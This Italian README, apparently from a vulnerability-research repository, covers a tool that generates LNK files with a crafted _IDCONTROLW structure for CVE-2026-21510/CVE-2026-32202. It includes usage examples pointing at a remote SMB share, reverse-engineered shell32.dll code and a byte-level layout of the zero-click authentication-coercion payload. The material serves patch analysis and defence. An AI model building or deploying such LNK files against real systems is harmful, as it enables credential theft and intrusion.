
Genera file LNK con strutture _IDCONTROLW appositamente create per ricercare le vulnerabilità di spoofing della Shell di Windows CVE-2026-21510 e CVE-2026-32202, inclusa l'ingegneria inversa degli interni di shell32.dll.
python3 CVE-2026-32202.py -h
usage: CVE-2026-32202.py [-h] --unc PATH [--out FILE] [--applet-id INT] [--name STR] [--infotip STR] [--no-dump]
Generate a test LNK file with an _IDCONTROLW structure.
Research tool for CVE-2026-21510 / CVE-2026-32202 patch analysis.
options:
-h, --help show this help message and exit
--unc, -u PATH UNC or local path to embed in _IDCONTROLW (e.g. \\192.168.1.31\share\test.cpl)
--out, -o FILE Output LNK filename (default: test_idcontrolw.lnk)
--applet-id, -a INT Signed applet ID for dwAppletID (default: -201 = 0xFFFFFF37)
--name, -n STR Display name of the CPL applet (default: "Research CPL")
--infotip, -i STR Tooltip string (default: "CVE-2026-21510 research")
--no-dump Suppress the hex dump of _IDCONTROLW
Examples:
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl --out poc.lnk
python CVE-2026-32202.py --unc \\srv\share\x.cpl --applet-id -201 --no-dump
_IDCONTROLWContesto di ricerca: Analisi di CVE-2026-21510 / CVE-2026-32202 (catena di exploit LNK di APT28).
Basato su Akamai Security Research.
Obiettivo: Ricostruire la struttura interna_IDCONTROLWutilizzata dashell32.dllper rappresentare gli applet del Pannello di Controllo all'interno di unLinkTargetIDList.
APT28 ha sfruttato una vulnerabilità in Windows Shell (shell32.dll) creando un file .lnk dannoso contenente un LinkTargetIDList con un percorso UNC incorporato all'interno di una struttura _IDCONTROLW non documentata. Ciò ha causato l'avvio da parte di explorer.exe di una connessione SMB verso un server controllato dall'attaccante senza interazione da parte dell'utente (zero-click).
La struttura _IDCONTROLW non è documentata nell'SDK pubblico di Windows né nei simboli PDB pubblici di Microsoft per shell32.dll. Questo report documenta la sua ricostruzione tramite analisi statica in IDA Pro.
Secondo MS-SHLLINK, il LinkTargetIDList contiene una IDList standard — un array di voci ItemID a lunghezza variabile terminato da un null di 2 byte.
Nell'exploit di APT28, la IDList contiene esattamente tre elementi:
| Indice | Contenuto |
|---|---|
IDList[0] | CLSID {26EE0668-A00A-44D7-9371-BEB064C98683} — radice del Pannello di Controllo |
IDList[1] | Elemento CControlPanelCategoryFolder — "Tutti gli elementi del Pannello di Controllo" (categoria 0) |
IDList[2] | _IDCONTROLW — voce dell'applet CPL con percorso UNC incorporato |
Questo si risolve nel percorso virtuale:
::{26EE0668-A00A-44D7-9371-BEB064C98683}\0\{voce CPL}
Poiché _IDCONTROLW è assente dai simboli PDB pubblici, la ricostruzione è stata eseguita tracciando la catena di chiamate in IDA Pro a partire da CControlPanelFolder::GetUIObjectOf — la funzione responsabile del rendering degli elementi del Pannello di Controllo in Explorer.
CControlPanelFolder::GetUIObjectOfQuando Explorer esegue il rendering di una cartella contenente il LNK dannoso, chiama GetUIObjectOf per estrarre un'icona per l'elemento CPL. Questo attiva la seguente catena:
CControlPanelFolder::GetUIObjectOf
└── CControlPanelFolder::GetModuleMapped ← PathFileExistsW attivata qui (CVE-2026-32202)
└── CControlPanelFolder::GetModule
└── CControlPanelFolder::_IsUnicodeCPLWorker ← rileva _IDCONTROLW
_IsUnicodeCPLWorker — validazione della strutturaconst struct _IDCONTROLW *__thiscall
CControlPanelFolder::_IsUnicodeCPLWorker(_WORD *this)
{
if ( *this > 0x18u // cb > 24
&& !*(this + 4) // +0x08 == 0
&& !*(this + 5) // +0x0A == 0
&& !*((_BYTE *)this + 12) // +0x0C == 0
&& *((_BYTE *)this + 13) == 106 ) // +0x0D == 0x6A
return (const struct _IDCONTROLW *)this;
return nullptr;
}
Questo rivela il marcatore Unicode all'offset +0x0D = 0x6A.
CControlPanelFolder::GetModule — accesso ai campi// Percorso Unicode letto dall'offset +0x18 (v5[1] = &structure[1] = +0x18):
v10 = StringCchCopyW((size_t)&v6[1], v12, savedregs);
// Fallback ANSI letto dall'offset +0x0C:
v7 = SHAnsiToUnicode((PCSTR)(v6 + 12), a1, (int)cwchBuf) == 0;
Questo conferma che il percorso Unicode (ModulePath) inizia a +0x18.
_IDControlCreateW — costruzione della strutturaint __userpurge _IDControlCreateW@<eax>(...)
{
v8 = wcslen(a2); // len(ModulePath)
v9 = 2 * wcslen(a3) + 2; // sizeof(Name) in bytes
v10 = 2 * v8 + 4 + v9 + 2 * wcslen(a4); // dimensione totale dei dati
v11 = ILCreate(v10 + 26); // alloc: dati + header 0x1A
v11[1] = a1; // +0x04: dwAppletID
*((_BYTE*)v11 + 13) = 106; // +0x0D: typeFlag = 0x6A
*((_WORD*)v11 + 10) = (2*v8+2) >> 1; // +0x14: cchModule
*((_WORD*)v11 + 11) = *((_WORD*)v11+10) + (v9>>1); // +0x16: offName
*(_WORD*)v11 = v10 + 24; // +0x00: cb
// stringhe scritte a +0x18
}
_IDCONTROLW Ricostruitastruct _IDCONTROLW {
WORD cb; // +0x00 dimensione dell'intera struttura (incluso cb stesso)
WORD pad1; // +0x02 padding, sempre 0
DWORD dwAppletID; // +0x04 ID dell'applet (negativo per CPL registrati, es. -201 = 0xFFFFFF37)
WORD pad2; // +0x08 sempre 0 (verificato da _IsUnicodeCPLWorker)
WORD pad3; // +0x0A sempre 0 (verificato da _IsUnicodeCPLWorker)
BYTE pad4; // +0x0C sempre 0 (verificato da _IsUnicodeCPLWorker)
BYTE typeFlag; // +0x0D = 0x6A — marcatore CPL Unicode
WORD pad5; // +0x0E padding
DWORD pad6; // +0x10 padding
WORD cchModule; // +0x14 lunghezza di ModulePath in WCHAR (incluso terminatore null)
WORD offName; // +0x16 offset di Name dall'inizio di data[] in WCHAR
WCHAR data[1]; // +0x18 ModulePath\0Name\0InfoTip (UTF-16LE)
};
| Offset | Dimensione | Campo | Valore / Note |
|---|---|---|---|
+0x00 | WORD | cb | Dimensione totale della struttura |
+0x02 | WORD | pad1 | 0 |
+0x04 | DWORD | dwAppletID | ID dell'applet (es. 0xFFFFFF37 = -201) |
+0x08 | WORD | pad2 | 0 — validato da _IsUnicodeCPLWorker |
+0x0A | WORD | pad3 | 0 — validato da _IsUnicodeCPLWorker |
+0x0C | BYTE | pad4 | 0 — validato da _IsUnicodeCPLWorker |
+0x0D | BYTE | typeFlag | 0x6A — marcatore Unicode |
+0x0E | WORD | pad5 | 0 |
+0x10 | DWORD | pad6 | 0 |
+0x14 | WORD | cchModule | wcslen(ModulePath) + 1 |
+0x16 | WORD | offName | cchModule (Name segue immediatamente ModulePath) |
+0x18 | WCHAR[] | data[] | ModulePath\0Name\0InfoTip (UTF-16LE) |
_IDCONTROL vs _IDCONTROLWLa versione ANSI (_IDCONTROL) viene creata da _IDControlCreateA e utilizza un layout diverso:
struct _IDCONTROL {
WORD cb; // +0x00 = total_size + 12
WORD flags; // +0x02
DWORD dwAppletID; // +0x04
WORD cchModule; // +0x08 strlen(ModulePath) + 1
WORD offName; // +0x0A cchModule + strlen(Name) + 1
CHAR data[1]; // +0x0C ModulePath\0Name\0InfoTip (ANSI)
};
Differenze principali:
| Proprietà | _IDCONTROL (ANSI) | _IDCONTROLW (Unicode) |
|---|---|---|
| Dimensione header | 0x0C (12 byte) | 0x18 (24 byte) |
| Codifica stringhe | ANSI (char) | UTF-16LE (WCHAR) |
| Marcatore Unicode | assente | +0x0D = 0x6A |
| Rilevamento | _IsUnicodeCPLWorker restituisce nullptr | restituisce il puntatore |
| Offset di inizio percorso | +0x0C | +0x18 |
{26EE0668-...})1F 50 68 06 EE 26 0A A0 D7 44 93 71 BE B0 64 C9 86 83
Tipo 0x1F = elemento shell radice con CLSID.
Ricostruito da CControlPanelCategoryFolder::CreateIDList:
*(_WORD*)v5 = 12; // cb = 0x0C
*((_WORD*)v5 + 1) = 1; // flags = 0x0001
v5[1] = 0x39DE2184; // identificatore magico
v5[2] = 0; // indice categoria = 0
Binario:
0C 00 01 00 84 21 DE 39 00 00 00 00
_IDCONTROLW con percorso UNCEsempio con \\192.168.1.31\share\test.cpl:
9E 00 — cb = 158
00 00 — pad1
37 FF FF FF — dwAppletID = -201
00 00 — pad2
00 00 — pad3
00 — pad4
6A — typeFlag = 0x6A ✓
00 00 00 00 00 00 — pad5 + pad6
1E 00 — cchModule = 30
1E 00 — offName = 30
5C 00 5C 00 ... — \\192.168.1.31\share\test.cpl (UTF-16LE)
La catena di vulnerabilità nella versione non patchata:
Explorer esegue il rendering della cartella
→ CControlPanelFolder::GetUIObjectOf (richiesta di estrazione icona)
→ CControlPanelFolder::GetModuleMapped
→ PathFileExistsW(pszPath) ← connessione SMB avviata QUI
La patch di Microsoft (CVE-2026-21510) ha introdotto ControlPanelLinkSite che aggiunge la verifica SmartScreen tramite IVerifyingTrust::OnVerifyingTrust — ma solo nella fase ShellExecuteExW. La chiamata PathFileExistsW in GetModuleMapped avviene prima nella catena e non è stata affrontata, lasciando CVE-2026-32202 (coercizione dell'autenticazione) non patchato fino a un aggiornamento successivo.
Le informazioni fornite in questo repository sono esclusivamente a scopo educativo e informativo. L'autore non approva né si assume alcuna responsabilità per qualsiasi uso illecito, dannoso o non etico del materiale presentato. Le tecniche e i concetti discussi non devono essere applicati a sistemi o reti senza la dovuta autorizzazione. L'autore non è responsabile per eventuali danni, conseguenze legali o perdite derivanti dall'uso improprio di queste informazioni. I lettori sono invitati a rispettare tutte le leggi e le linee guida applicabili relative alle pratiche di cybersecurity.